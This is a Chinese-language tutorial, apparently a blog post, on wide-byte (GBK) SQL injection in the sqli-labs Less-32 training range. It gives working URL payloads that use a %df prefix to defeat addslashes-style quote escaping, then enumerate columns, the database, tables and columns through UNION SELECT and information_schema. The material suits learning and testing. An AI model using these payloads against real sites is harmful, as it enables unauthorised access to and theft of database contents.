SQL注入 - 宽字节注入

文章目录

SQL注入 - 宽字节注入

靶场 sqli - labs less-32

宽字节注入主要是绕过魔术引号的,数据库解析中除了UTF-8编码外的所有编码如:GBK等都有可能存在宽字节注入

宽字节注入前置知识

php 5.4 以下低版本,修改配置文件然后强制执行,使用 magic_quotes_gpc 函数转义

php 复制代码
<?php
$a = "select * from admin where id ='$_REQUEST[8]'";
echo $a;
?>

php 5.4 以上高版本,删除掉了这个配置,通过特定函数使用addslashes() 函数转义

php 复制代码
<?php
$b = addslashes($_REQUEST[8]);
$a = "select * from admin where id ='$b'";
echo $a;
?>

SQL注入的核心是 闭合引号,注释后面的引号,让我们的输入跳出单双引号

sql 复制代码
select * from users where id='1' 

魔术引号的核心意义是不让你闭合,通过反斜杠转义你输入的单双引号反斜杠等

复制代码
绕过方法:
1、寻找不需要闭合的地方,如传参类型为init还是varchar
2、仔细查看作用域($_server)
3、宽字节注入

宽字节

两个单字节可以变为双字节,如:

复制代码
select * from users where id='1?/''

如数据库采用gbk编码方式,?/ 被解释成汉字则,' 会被逃逸出来

靶场实战

判断是否存在SQL注入

?id=1' and 1=1 ?id=1' and 1=2 发现被反斜杠转义了

复制代码
?id=1' and 1=1 --+
?id=1' and 1=2 --+

使用%df 进行宽字节注入绕过,发现存在SQL注入

复制代码
/ = 5c
%df = df
df5c = 運 (GBK编码字符)

?id=1%df' and 1=1 --+
?id=1%df' and 1=2 --+

判断位数

order by 语句可得 位数为3

复制代码
?id=1%df' order by 4 --+

判显错位

判断可得2,3

复制代码
?id=-1%df' union select 1,2,3 --+

判库名

判断可得 security

复制代码
?id=-1%df' union select 1,2,database() --+

判表名

复制代码
?id=-1%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 --+

判列名

复制代码
?id=-1%df' union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1 --+

0x7573657273(16进制) = users
相关推荐
AI-好学者40 分钟前
阶段一-图数据库基础与PropertyGraph模型
数据库·rag·knowledge graph·graphrag
IpdataCloud1 小时前
担心IP暴露隐私?用安全IP查询工具自查,三步配置网络出口
网络·tcp/ip·安全·ip
xy34532 小时前
wireshark 如何捕获信息
网络·测试工具·渗透测试·wireshark
其实防守也摸鱼2 小时前
运维--学习阶段问题解答(1)(自测)
linux·运维·服务器·数据库·学习·自动化·命令模式
懒鸟一枚2 小时前
深入理解 Linux 内存、Swap 交换分区与分页机制的关系
java·linux·数据库
龙仔7252 小时前
SQL Server 创建只读账号完整操作(分两种场景:SSMS图形界面 + T-SQL脚本)
数据库·sql·oracle
霁月的小屋2 小时前
生产环境中的事务实践——银行系统上线记(四)
数据库
Database_Cool_3 小时前
AI 应用数据底座首选:阿里云 PolarDB 为大模型 RAG 提供一体化支撑
数据库·阿里云
玖玥拾3 小时前
C# 语言进阶(十五)C# 游戏服务端 MySQL 数据库
服务器·开发语言·网络·数据库·mysql·c#
零零信安4 小时前
AI智能体,攻守失衡的催化剂 | 零零信安
人工智能·网络安全·数据泄露·暗网·零零信安